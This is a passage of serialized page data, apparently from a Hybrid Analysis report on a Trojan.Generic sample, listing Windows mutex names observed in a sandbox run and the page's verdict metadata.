Oracle_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET Data Provider for SqlServer_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET Memory Cache 4.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NETFramework_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ASP_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ASP.NET_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ASP.NET_2.0.50727_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ASP.NET_4.0.30319_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ASP.NET_64_2.0.50727_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\aspnet_state_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\BITS_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ESENT_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Lsa_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSDTC_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSDTC Bridge 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSDTC Bridge 4.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSSCNTRS_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Outlook_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\PerfDisk_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\PerfNet_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\PerfOS_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\PerfProc_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\rdyboost_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RemoteAccess_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ServiceModelEndpoint 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ServiceModelOperation 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ServiceModelService 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SMSvcHost 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SMSvcHost 4.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Spooler_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\TapiSrv_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Tcpip_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\TermService_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\UGatherer_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\UGTHRSVC_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\usbhub_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\W3SVC_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Windows Workflow Foundation 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Windows Workflow Foundation 4.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\WmiApRpl_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\WSearchIdxPi_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"TapiSrv_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"rdyboost_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"Lsa_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ASP_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":".NET Memory Cache 4.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"Windows Workflow Foundation 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"MSDTC Bridge 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"W3SVC_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"Outlook_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"WSearchIdxPi_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"aspnet_state_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":".NET CLR Networking 4.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"installer-guard","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"PerfOS_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"MSSCNTRS_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":".NET Data Provider for SqlServer_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"Windows Workflow Foundation 4.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ESENT_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"PerfNet_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"PerfProc_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"usbhub_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"MSDTC_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"TermService_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"MSDTC Bridge 4.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"PerfDisk_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"RemoteAccess_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":".NETFramework_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ASP.NET_64_2.0.50727_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ASP.NET_2.0.50727_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ServiceModelOperation 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ASP.NET_4.0.30319_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":".NET Data Provider for Oracle_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"UGatherer_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"Spooler_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"BITS_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"SMSvcHost 4.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"SMSvcHost 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"Tcpip_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":".NET CLR Data_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ServiceModelEndpoint 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"UGTHRSVC_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":".NET CLR Networking_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ServiceModelService 3.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ASP.NET_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"WmiApRpl_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"SM0:1552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"Local\\SM0:1552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]}]}},"report_ids":{"sandbox_job_ids":["6a7cdd7d30a295c3fb0d1c8a"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 6acdd71730d3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 6acdd71730d3…. Malware family: Trojan.Generic. Threat score 100/100. 16/25 AV engines flagged this file. 10 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 6acdd71730d3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 6acdd71730d3…. Malware family: Trojan.Generic. Threat score 100/100. 16/25 AV engines flagged this file. 10 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 6acdd71730d3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 6acdd71730d3…. Malware family: Trojan.Generic. Threat score 100/100. 16/25 AV engines flagged this file. 10 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L6c","11",{}]]